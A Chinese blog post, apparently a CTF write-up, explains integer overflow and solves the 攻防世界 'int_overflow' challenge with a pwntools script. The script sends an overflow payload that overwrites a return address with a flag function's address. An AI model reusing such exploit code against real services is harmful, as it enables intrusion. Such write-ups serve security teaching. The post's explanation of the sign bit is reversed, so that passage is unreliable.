整数溢出

整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0,无符号数取值范围为非负数,常见各类型占用字节数如下:
在这里插入图片描述
当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。
参考文献:https://wiki.x10sec.org/pwn/integeroverflow/intof/
例题:攻防世界(int_overflow)
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
v3字符串的长度可以是4-8个字符,也可以是260-264个字符,接下来查看如何利用此漏洞。
在这里插入图片描述
在这里插入图片描述

from pwn import *
io=remote('111.111.111.23',26874)
# flag地址
flag_addr = 0x0804868B
# 构建payload范围在260-264
p = 0x14 * "a" + 4 * "A" + p32(flag_addr) + "a" * 234
io.sendlineafter("Your choice:", "1")
io.sendlineafter("your username:", "2")
io.recvuntil("your passwd:")
io.sendline(p)
io.recv()
io.interactive()
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值